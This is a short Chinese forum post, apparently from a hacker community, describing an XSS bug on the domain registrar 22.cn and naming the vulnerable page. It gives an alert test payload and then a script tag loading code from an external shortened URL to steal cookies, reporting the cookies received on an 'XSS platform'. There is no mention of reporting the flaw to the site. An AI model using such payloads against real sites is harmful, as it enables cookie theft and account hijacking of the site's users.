爱名网xss

admin

开头我还是那句话，本人是手机党，测试都是在可爱的uc浏览器上进行的，不能审查元素，不能看源代码，请各位客观见谅。
这次是爱名网的xss，www.22.cn漏洞地址:http://www.22.cn/DomainReg.aspx

首先在框框里输入输入<script>alert("xss")</script>，果断跳出了框框~然后我们试试能不能盗取cookies

输入<script src=http://x.co/1Ou19></script>然后点查询，后台在查询了，我们等等哦~然后登录xss平台。看到cookies来了~


转载请注明中国白客联盟:www.chinabaiker.com

没看完~~~~~~ 先顶，好同志

支持一下